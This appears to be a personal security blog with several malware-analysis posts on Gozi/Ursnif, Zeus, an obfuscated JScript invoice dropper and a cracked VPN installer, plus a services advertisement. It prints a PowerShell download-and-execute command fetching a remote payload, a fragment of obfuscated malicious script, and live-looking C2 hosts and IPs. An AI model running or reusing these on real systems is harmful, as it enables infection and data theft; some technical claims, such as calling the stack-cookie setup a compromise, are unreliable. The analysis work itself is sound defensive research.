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sâmbătă, 7 septembrie 2019

Malware analysis Gozi IFSB – Bank Trojan aka Ursnif

This is the Gozi IFSB malware, created to steal data & informations from the victims. In the folder you will see all the files needed to create your own malware server.
For this malware analysis I will use an .bin found after google search.
Cyber security - Malware analysis
With this .bin file I will be 2 steps closer for the analysis. I don’t have the .doc/.pdf file with the payload, but the .bin is the downloaded file resulted from the payload.
I will transform the .bin file to infected.exe(10000.exe)!
008c4bd6ee834d113cfc693af0ea90396eaa47e860bcdd567ffd964b57434e1d.bin
MD5: e6d118192fc848797e15dc0600834783
SHA1: 16d5ded68677f4a870423d3fd30da8377a5b2408
Let’s go to security manipulation and creation of the malware on the system. The $LN33 it is exported by the executable, after that will jump to C Runtime Library.
Calling the security_init_cookie for buffer overrun protection to comprommise the system security.
Cyber security - Malware analysis Prodefence SRL
Let’s run the infected file to see his actions!
I see that the explorer.exe has some activiti.
Cyber security - Malware analysis
SC Prodefence SRL
Cyber security – Malware analysis
There I have some movements… let’s go to \Roaming\MIcrosoft\ to see the new folder created ‘BthM300C’.
SC Prodefence SRL
An executable(the same .exe with diffrerent name) created in new folder after runed the infected.exe / D3DCsapi.exe aka 1000.exe
Cyber security - Malware analysis
The Registry.
Cyber security - Malware analysis
Prodefence SRL
Now… the explorer.exe.
24 .dll are suspicious.
That means some of them are from the injection process.
Cyber security - Malware analysis
explorer.exe (2304)  – 52074 – 166.124.148.146.bc.googleusercontent.com.
This is an Google Cloud Platform and the explorer.exe has some connections there.
genesisgrandergh.at
  • Port: 62809, Dst Port: 53
  • Standard query response 0xd314 Server failure
  • ns1.suspended-domain.com
bitsupport.top
  • Standard query response 0xd314 Server failure
  • ns1.suspended-domain.com
carloslimmheklo.at
  • Port: 58097, Dst Port: 53
  • ns1.suspended-domain.com
databasecollection.pw  OK
  • Port: 62809, Dst Port: 53
  • Pubkey: 04b7b8c4d1d482255514ccf90c896acb7b5baaa7208eea67
Name Servers:
  • ns4.sinkhole.ch
  • ns3.sinkhole.ch
  • ns2.sinkhole.ch
  • ns1.sinkhole.ch
Now … becouse I have some extra informations.. I will try to find more infected domains.
The Gozi malware is using friendly websites to infect the visitors, others trojans or payloads included on .doc files, for better security bypass.
Virus Total Report
https://www.virustotal.com/#/file/008c4bd6ee834d113cfc693af0ea90396eaa47e860bcdd567ffd964b57434e1d/detection
sinkhole.ch server hosting malware
https://www.malwareurl.com/ns_listing.php?ns=ns2.sinkhole.ch
https://securitytrails.com/list/ns/NS1.SINKHOLE.CH?ref=abuseipdb
About Gozi(Ursniff)
https://www.secureworks.com/research/gozihttps://www.csoonline.com/article/2123315/identity-theft-prevention/inside-the-global-hacker-service-economy.html?page=2

luni, 26 februarie 2018

Zeus botnet simple analysis

A little analysis of Zeus botnet.

It was done for someone to see how it works and I share it with you.

bot.exe
  • OEP: 0040DCA0
  • COMPILER: Borland Delphi 6.0 – 7.0
  • MD5: 8a849d20c0a954f45566cec53acc9263
  • SHA-1: 764c29fd18c3f3c4d9ba3fe394655f2ed2ec0c01



Injects into remote processes
Injected into “explorer.exe”
 
Drops files:
 

giep.exe

MD5: 769919e56bd4e9e1e906559c1c36bdf6
SHA-1: 39ed72d34e02e1674742cb47bbd6ebdad13f7931
Reg: HKU\S-1-5-21-2442644137-1929233181-142757687-1000\Software\Microsoft\Windows\CurrentVersion\Run\{74A201A8-2DEE-69F0-F124-27DF3D9773DA}: “C:\Users\Insider\AppData\Roaming\Qioho\giep.exe”
https://www.virustotal.com/#/file/5069bc991ff37817bb05e6bb453c9c44d22ef2719bb0d4f72a3ca30c544f040c/detection

  • Same atributes like bot.exe

Some of the processes made by the bot.exe action:
 
  • CreateFile
  • RegOpenKey
  • RegisterClass
  • CoCreate
  • CreateThread
  • RegCreateKey
  • RegSetValue
  • ProcessStarted
 
 Network traffic:
 
In the same way it is using the /POST request for sending stealed data, when the victim visits some bank account, paypal…etc.
Botnet host directory and login page:
 

H**p://xxx.xxx/adminpanel/admin.php

The remove is easy. You just have to follow the path’s to find the droped executables and delete the created registers.

vineri, 29 decembrie 2017

Malware analysis and investigation services

Alexandru Anghelus – Malware analyst & investigator


Security of your personal data is very important.
Also sensitive Company data is extremely important.
If you’ve got a file and it looks suspicious, do not open it.
The .zip, .exe, .rtf, .doc, .htm, .rar … etc files can be infected and personal data may become public or can be used against you.
With my analysis services you can remove that insecurity!
Analyzing a file can take a few minutes or even hours.
Investigating the ones found and drawing up the report may take longer, depending on the infected file.
Tracking the hacker may be impossible or may take several days.
Chances of success in discovering the infected file are 99%.
Full report services can help identify the reason, the target and whether it is a direct or random attack.
At the following address you can find some of my work in the field.

I am malware analyst and investigator.
With my skills everyone can have a clear vision about some suspicios files or emails that they have on pc.
I am the founder of Professional Defence Community, a 7 years cybersecurity website.
Web Pentesting.
Malware analysis.
Malware investigator.


Freelancer services websites:
https://www.fiverr.com/alexmalware
https://www.upwork.com/freelancers/~01ec95393b79dc2f6b
https://www.freelancer.com/u/alexpdc

Social media:
https://www.facebook.com/alexarchitect
https://www.linkedin.com/in/anghelus-alexandru/
h**ps://twitter.com/AlexProdefence

Contact:
email: info@prodefence[.]org

miercuri, 6 decembrie 2017

Unseen stample of malware-Modified coding code – DarkWeb TOR project.

Hello.
Today I had a nice surprise. I found in the Spam file an email telling me they just sent me an electronic invoice.
I have to say that the surprisses are more and more.

You will see!!!

Part 1 – The infected file & dropped files

Dear Madam / Madam,
We would like to inform you that you have an electronic invoice issued. The attachment is an official accounting document and complies with the requirements of the Electronic Document and Electronic Signature Act.
If you have additional questions or need other information, please do not hesitate to contact us with the contact details on your electronic invoice.
Thank you for being a customer of ENERGO-PRO.
We wish you a successful day.
* This email can contain personalized information. If you are not the recipient for whom it is intended, please delete it. Thank you!
I have a file attached named öá¬ÔŃÓá No 0258923817 (3)… yeeep and is a JScript file.
Scanned with Virus Total.

The -1 vote is mine! (lol).
So 0 of 60 antivirus engines detects this virus.In the previous article I wrote about the problem of detection.
Security Advice – The Antivirus is just a security helper!
Running the öá¬ÔŃÓá No 0258923817 (3) script –> injects code on vbscript and tries to connect to:
All the connection running this script:
  • withadvertisingthe.com
  • myip.opendns.com
  • noreply.org
  • riseup.ne
  • Faravahar Tor Authority Directory – 199.254.238.52
  • Tor Exit Router – 178.16.208.59
  • vps.net
  • 91.219.237.154
  • digitalocean.com
  • voxility.net
All are Tor servers and VPN servers.
GET /tor/status-vote/current/consensus from hosts:
86.59.21.38/154.35.175.225
There are BitBlinder Project files(see on github more informations). Remember this.. i will give you some good info later!
Connected servers:
5.149.213.224/86.59.21.38/199.254.238.52/154.35.175.225/178.16.208.59/46.23.72.81/91.219.237.154/46.101.183.160/93.115.84.143/165.227.130.167
What else to show you from this file…
Last write session:
Mades alot of changes after running:
  • Remote AccessTries to identify its external IP address
  • Stealer/PhishingScans for artifacts that may help identify the target
  • Touched instant messenger related registry keysPersistenceInjects into explorer
  • Injects into remote processes
  • Modifies auto-execute functionality by setting/creating a value in the registry
  • Spawns a lot of processes
  • Writes data to a remote process
Dropped files:
  • adprtext.dll
  • agreebowl.dll
Let’s see the agreebowl.dll

Part 2 – The “öá¬ÔŃÓá No 0258923817 (3)” file code.

The 0/60 file detection is due to the programming mode. The programmer used an ingenious way to write the code to have a signature different from that of the viruses.
Here i will show you a part of thecompiled code:
ozen.decideWorry+sickCityAdditionDepth[15]+seriousPaidRegion.happened;}function pigDutyUnusual(passForeignPush){return lowerCountryCharacter[5];}function frontFurtherAfterMadeConstruction(wasMoodCleanRefusedPush){return slightForgotDiscussionHistoryGiant[3]+temperatureBeforeDo.audienceCircus+evidenceCompositionCrackPrincipalEar[2]+seriousPaidRegion.engineer+sickCityAdditionDepth[3]+sickCityAdditionDepth[4]+breatheCupParentEscape[13]+biggerShellsDeterminePorchCreature[7]+temperatureBeforeDo.twoWest+importanceArtAgain[7];}function compareSpeciesGiantBuildingSeveral(excitedCanScoreCarefulFine){return roughWhenPlentyDistanceFrozen.decideWorry+townOrdinaryDarkFlowerLibrary.careful+importanceArtAgain[7]+temperatureBeforeDo.audienceCircus+wonProvideMostOrdinaryRoad.railroadOr+slightForgotDiscussionHistoryGiant[7]+importanceArtAgain[7]+evidenceCompositionCrackPrincipalEar[2]+breatheCupParentEscape[17];}var clearlyPieceBillEarlierOrganization=[];
clearlyPieceBillEarlierOrganization[todayBehaviorStrengthQuietlyTypical(‘p-_sI1owb)jB:o6’)](visitorBehindSpeak(‘9
K0c0htw(o.kvr’));
var packageLargePig=[-314];
var tearsKitchenCatchNeck=[66];
var fifteenRunStraightSpeech=[];
var aidMirrorWeakProgressInclude=[7];
var sightDistanceDid=[1];
var taskAnywayHungry=[mightEmptyCarriedRapidlyOnce(’26P:Y&kwgPLW0′)];
function partRelatedBatBaby(metFreeSomeone){

Part 3 – BitBlinder project

BitBlinder project – A way to create your own hidden services on DarkWeb.
Project-specific files:
  • http://154.35.175.225/tor/status-vote/current/consensus.js
  • http://91.219.237.154/tor/server/fp/6a7479eb4378b946dc2a65a7f2c706b42bae2ebd
Well… that was a long story and the end it’s here!
0/60 … remember that!!!

Have fun & Stay safe!!!

vineri, 1 decembrie 2017

Malware research/reverse – Payload backdoor

Hello.
I have some free time and I try to deal with internet safety. I’m just a small drop of the ocean, but I’m here!
Today I will introduce you something different.
As usual, I downloaded a few softwares and started the analysis.
I have a ”great offer”:
Hotspot Shield VPN 7.20.8.Elite Cracked

Woooow!!!(just kidding)
We have 3 important files.
Setup.exe and Update.exe appear to be archived files and from previous posts we know what this means, but today our target is the HSS v.2.exe file.



It is noticed that it is the latest file created.
Also, the installation method requires using this file.

OK.Let’s scan this time!
Virus Total Report

20/68 detection?!?
I mean, only 20 of the antivirus applications will see this file as a virus.


OK. It’s normal to be seen by antivirus. It’s just a crack, a patch, etc. You have to disable the antivirus to install it, it’s just a pirated software.
Let’s get started
It looks like this .exe is actually a .rar archive

After opening, he has a lot of work in the background.
We let him do the job to find out what he is doing!


When everything is quiet, we see that something is left to work.

powershell.exe -nop -windowstyle Hidden -c “IEX (New-Object Net.WebClient).DownloadString(‘https://gist.githubusercontent.com/hampros2/7d71db98acfeaa75ec89dcb53eb796c1/raw/9681d583be4c36977286b8171be930b0fd702a64/fuck.ps1
The virus runs through the application Powershell.exe, being connected to external sources.
h**ps://sgist.githubusercontent.com/hampros2/7d71db98acfeaa75ec89dcb53eb796c1raw9681d583be4c36977286b8171be930b0fd702a64/fuck.ps1
Also connectiong to:
http://83.251.132.4
/admin/get.php
/login/process.php
/news.php

After investigation I found out that it’s about a payload project.

Currently Empire Power Shell has the following categories for modules:
  • Code Execution – Ways to run more code
  • Collection – Post exploitation data collection
  • Credentials – Collect and use creds
  • Exfiltration – Identify egress channels
  • Lateral Movement – Move around the network
  • Management – Host management and auxilary
  • Persistence – Survive reboots
  • Privesc – Privilege escalation capabilities
  • Recon – Test further entry points (HTTP Basic Auth etc)
  • Situational Awareness – Network awareness
  • Trollsploit – For the lulz
Prodefence.org
What can I say …. be careful!
Have fun & stay safe!!!